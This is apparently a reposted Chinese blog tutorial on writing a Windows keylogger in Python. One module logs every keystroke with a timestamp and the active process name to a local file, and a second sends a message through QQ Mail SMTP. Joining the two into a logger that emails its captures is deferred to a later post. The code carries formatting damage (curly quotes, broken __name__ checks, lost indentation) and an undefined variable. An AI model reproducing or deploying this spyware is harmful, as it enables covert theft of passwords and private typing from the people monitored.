使用Python实现键盘记录器和邮箱自动通知
文章目錄
- 鍵盤記錄器
- 參考
- (1)鍵盤記錄器-模塊實(shí)現(xiàn)
- (2)發(fā)送郵箱-模塊實(shí)現(xiàn)
- (3)模塊合并
鍵盤記錄器
參考
??《python:搞事情!鍵盤記錄并截屏》,
地址https://baijiahao.baidu.com/s?id=1672705522702921685&wfr=spider&for=pc
??《Python通過SMTP發(fā)送郵件總是驗(yàn)證失敗》,
地址https://segmentfault.com/q/1010000003802498
前言
??讓人感到為難的,是找不到實(shí)驗(yàn)筆記。
??雖然在服務(wù)器上搭建過hexo,但自從被誤刪之后,就習(xí)慣于在本地保存筆記。經(jīng)歷多次花費(fèi)時間和心情的尋找之后,才會進(jìn)化。
正文
??鍵盤記錄器是許多黑客入門的玩具。
實(shí)驗(yàn)環(huán)境:編程環(huán)境Python3.7.6。操作系統(tǒng)Windows 10 專業(yè)版。
原理
??hook程序:本質(zhì)是通過系統(tǒng)調(diào)用,把該程序掛入系統(tǒng)指令,hook程序可以截獲特定消息,經(jīng)過加工后重放或中止傳遞。
??鍵盤hook:可以監(jiān)控鍵盤操作。鍵盤hook,可以截獲鍵盤消息,全局鉤子可以捕獲Win平臺下任意窗口的鍵盤操作。
??系統(tǒng)調(diào)用函數(shù):鍵盤記錄使用user32.dll創(chuàng)建SetWindowsExA()函數(shù),將特定指針注冊到Hook Chain中,記錄到來的鍵盤消息,并完成其他函數(shù)操作(比如截屏)。
(1)鍵盤記錄器-模塊實(shí)現(xiàn)
# 鍵盤記錄
from pynput.keyboard import Listener
from ctypes import *
from PIL import ImageGrab
import datetime
keyboard = Listener()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
獲取進(jìn)程名稱
def get():
??hwnd = user32.GetForegroundWindow()
??pid = c_ulong(0)
??user32.GetWindowThreadProcessId(hwnd, byref(pid))
??executable = create_string_buffer(512)
??h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
??psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
??windows_title = create_string_buffer(512)
??kernel32.CloseHandle(hwnd)
??kernel32.CloseHandle(h_process)
??return executable.value + windows_title.value
def press(key):
??with open(‘D:\1\keyboard.txt’, ‘a(chǎn)+’) as f:
??try:
????f.write(str(datetime.datetime.now()) + “鍵盤輸入:”)
????f.write(str(key.char)+’- 當(dāng)前使用程序:’)
????f.write(str(get())+’\n’)
??except AttributeError:
????f.write(str(key)+’ ‘)
????f.write(str(get())+’\n’)
if name == ‘main’:
# 鍵盤記錄
??with Listener(on_press=press) as listener:
??listener.join()
運(yùn)行效果:
(2)發(fā)送郵箱-模塊實(shí)現(xiàn)
??使用QQ郵箱自動登錄并發(fā)送郵件,要開啟QQ郵箱的SMTP服務(wù),申請授權(quán)碼。
import os
import sys
import smtplib
from smtplib import SMTP_SSL
from email.header import Header
from email.mime.text import MIMEText
def send():
??smtp = SMTP_SSL(mailInfo[“hostname”])
??smtp.set_debuglevel(1)
??smtp.ehlo(mailInfo[“hostname”])
??smtp.login(mailInfo[“username”], mailInfo[“password”])
??msg = MIMEText(mailInfo[“mailtext”], “text”, mailInfo[“mailencoding”])
??msg[“Subject”] = Header(mailInfo[“mailsubject”], mailInfo[“mailencoding”])
??msg[“from”] = mailInfo[“from”]
??msg[“to”] = mailInfo[“to”]
??smtp.sendmail(mailInfo[“from”], mailInfo[“to”], msg.as_string())
??smtp.quit()
if name == ‘main’:
??mailInfo = {
??“from”: “send_mail@qq.com”,
??“to”: “accept_mail@163.com”,
??“hostname”: “smtp.qq.com”,
??“username”: “send_mail@qq.com”,
??“password”: “SMTP授權(quán)碼”,
??“mailsubject”: “this is test”,
??“mailtext”: text,
??“mailencoding”: “utf-8”
??}
??send()
模塊運(yùn)行效果:
(3)模塊合并
??且聽下回分解。
總結(jié)
以上是生活随笔為你收集整理的使用Python实现键盘记录器和邮箱自动通知的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 使用Meterperter会话获取目标屏
- 下一篇: Python实现一个键盘记录器功能